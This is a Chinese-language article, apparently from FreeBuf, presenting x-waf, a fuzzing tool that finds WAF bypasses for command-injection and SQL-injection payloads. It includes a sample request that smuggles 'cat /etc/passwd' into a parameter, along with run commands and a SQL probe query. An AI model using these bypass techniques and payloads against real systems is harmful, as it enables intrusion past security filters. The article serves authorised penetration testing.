一个基于fuzz的waf绕过测试工具,当前支持命令执行、SQL注入绕过。
https://github.com/leveryd/x-waf
使用方法
1、准备需要绕过的HTTP请求文件,例如:test.http
POST /demo/detect/ HTTP/1.1Host: cmdchop.chaitin.comaccept: application/json, text/javascript, */*; q=0.01accept-language: zh-CN,zh;q=0.9,en;q=0.8content-type: application/jsoncookie: _ga=GA1.2.212169703.1725506930; _ga_PNVRK9GRJ2=GS1.2.1725527773.2.1.1725529516.0.0.0; user_id=f62aa452-d92a-405a-9295-49aba0ed6d47; cid=dea7646d-7542-432f-858f-c745914a1e73; mid=c0b990d0-a3dc-455c-9f66-bac94da0b098origin: https://cmdchop.chaitin.compriority: u=1, ireferer: https://cmdchop.chaitin.com/demo/sec-ch-ua: "Chromium";v="130", "Google Chrome";v="130", "Not?A_Brand";v="99"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "macOS"sec-fetch-dest: emptysec-fetch-mode: corssec-fetch-site: same-originuser-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36x-requested-with: XMLHttpRequestContent-Length: 50{"type":"urlpath","payload":"/?p=cat /etc/passwd"}
2、将payload的位置用%{{.*}}%标记,例如:
{"type":"urlpath","payload":"/?p=%{{cat /etc/passwd}}%"}
3、运行命令:
./x_waf --target test/chatin-cmdchop.http --waf-block-regex payload cmd --fuzz-cmd-mode real
--fuzz-cmd-mode real 会实际执行命令,验证payload是否有效,当前只支持查看/etc/passwd文件内容 --fuzz-cmd-mode mock 会解析命令,验证payload是否有效,支持任意命令 --waf-block-regex payload 指定waf拦截时页面响应的匹配内容,支持正则表达式 4、查看bypass结果:
cat result.txt
与burpsuit配合使用
当程序遇到各种奇怪的报错时,你可以选择使用x-waf只生成payload,然后用burpsuite intruder模块来遍历发包,根据响应状态码或者响应长度来判断是否拦截。
./x --justOutPutPayload --target test/chatin-sqlchop.http sql --fuzz-sql 'select user from mysql.user' --fuzz-count 1000
--justOutPutPayload 导出payload到payloads.txt文件
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



